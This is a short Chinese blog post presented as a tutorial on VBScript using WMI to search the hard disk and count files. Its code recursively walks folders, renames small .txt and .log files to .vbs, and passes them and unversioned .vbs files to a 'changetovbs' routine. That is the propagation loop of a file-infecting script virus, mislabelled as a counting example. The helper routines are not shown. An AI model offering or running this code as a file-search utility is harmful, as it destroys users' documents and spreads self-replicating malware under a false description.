这篇文章主要介绍VBS如何调用WMI遍历搜索硬盘文件并计数,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
核心代码:
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
以上是“VBS如何调用WMI遍历搜索硬盘文件并计数”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注天达云行业资讯频道!